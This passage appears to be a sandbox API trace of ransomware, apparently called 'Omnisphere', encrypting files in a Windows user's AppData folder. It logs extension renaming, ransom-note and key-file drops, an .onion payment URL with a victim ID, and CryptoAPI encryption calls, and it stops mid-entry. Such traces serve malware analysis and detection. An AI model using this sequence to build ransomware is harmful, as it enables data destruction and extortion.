RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x28c) returned 0x164df78 [0063.297] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\I-BWfibG3J13RaqGB.pptx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\i-bwfibg3j13raqgb.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\I-BWfibG3J13RaqGB.pptx.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\i-bwfibg3j13raqgb.pptx.omnisphere")) returned 1 [0063.300] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\I-BWfibG3J13RaqGB.pptx.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\I-BWfibG3J13RaqGB.pptx.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\I-BWfibG3J13RaqGB.pptx.omnisphere.id" [0063.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\I-BWfibG3J13RaqGB.pptx.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\i-bwfibg3j13raqgb.pptx.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.300] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.302] CloseHandle (hObject=0x3a8) returned 1 [0063.302] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0063.303] CloseHandle (hObject=0x3a4) returned 1 [0063.303] SetEndOfFile (hFile=0x3a0) returned 1 [0063.303] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.389] CloseHandle (hObject=0x3a0) returned 1 [0063.389] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\I-BWfibG3J13RaqGB.pptx" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.389] GetProcessHeap () returned 0x1600000 [0063.389] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1653ff0 [0063.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.389] GetProcessHeap () returned 0x1600000 [0063.389] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641d68 [0063.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641d68, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.390] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.390] GetProcessHeap () returned 0x1600000 [0063.390] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f950 [0063.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f950, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.390] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.390] GetProcessHeap () returned 0x1600000 [0063.390] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c410 [0063.390] PathCombineW (in: pszDest=0x163c410, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.390] GetProcessHeap () returned 0x1600000 [0063.390] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1654510 [0063.390] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.390] WriteFile (in: hFile=0x3a0, lpBuffer=0x1654510*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1654510*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.391] CloseHandle (hObject=0x3a0) returned 1 [0063.391] GetProcessHeap () returned 0x1600000 [0063.391] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1653ff0 | out: hHeap=0x1600000) returned 1 [0063.391] GetProcessHeap () returned 0x1600000 [0063.391] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f700 [0063.391] PathCombineW (in: pszDest=0x163f700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.392] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.392] CloseHandle (hObject=0x3a0) returned 1 [0063.392] GetProcessHeap () returned 0x1600000 [0063.392] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f700 | out: hHeap=0x1600000) returned 1 [0063.392] GetProcessHeap () returned 0x1600000 [0063.392] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163bca0 | out: hHeap=0x1600000) returned 1 [0063.392] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33b2c10, ftCreationTime.dwHighDateTime=0x1d4c877, ftLastAccessTime.dwLowDateTime=0xc12f93f0, ftLastAccessTime.dwHighDateTime=0x1d4d1ba, ftLastWriteTime.dwLowDateTime=0xc12f93f0, ftLastWriteTime.dwHighDateTime=0x1d4d1ba, nFileSizeHigh=0x0, nFileSizeLow=0x6d8b, dwReserved0=0x0, dwReserved1=0xed, cFileName="i74al7MC18tUuay.m4a", cAlternateFileName="I74AL7~1.M4A")) returned 1 [0063.392] GetProcessHeap () returned 0x1600000 [0063.392] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163fb00 [0063.393] PathCombineW (in: pszDest=0x163fb00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="i74al7MC18tUuay.m4a" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\i74al7MC18tUuay.m4a") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\i74al7MC18tUuay.m4a" [0063.393] StrStrW (lpFirst=".omnisphere", lpSrch=".m4a") returned 0x0 [0063.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\i74al7MC18tUuay.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\i74al7mc18tuuay.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.393] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=28043) returned 1 [0063.393] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x6867, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.393] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.394] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.395] GetTickCount () returned 0x115029c [0063.396] GetTickCount () returned 0x115029c [0063.396] GetTickCount () returned 0x115029c [0063.396] GetTickCount () returned 0x115029c [0063.396] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c498) returned 1 [0063.397] CryptImportKey (in: hProv=0x163c498, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639a28) returned 1 [0063.397] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.397] CryptDestroyKey (hKey=0x1639a28) returned 1 [0063.397] CryptReleaseContext (hProv=0x163c498, dwFlags=0x0) returned 1 [0063.397] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d8b, lpName=0x0) returned 0x3a4 [0063.397] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d8b) returned 0x3430000 [0063.398] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c498) returned 1 [0063.398] CryptImportKey (in: hProv=0x163c498, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639628) returned 1 [0063.398] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.399] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.400] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.401] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.402] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 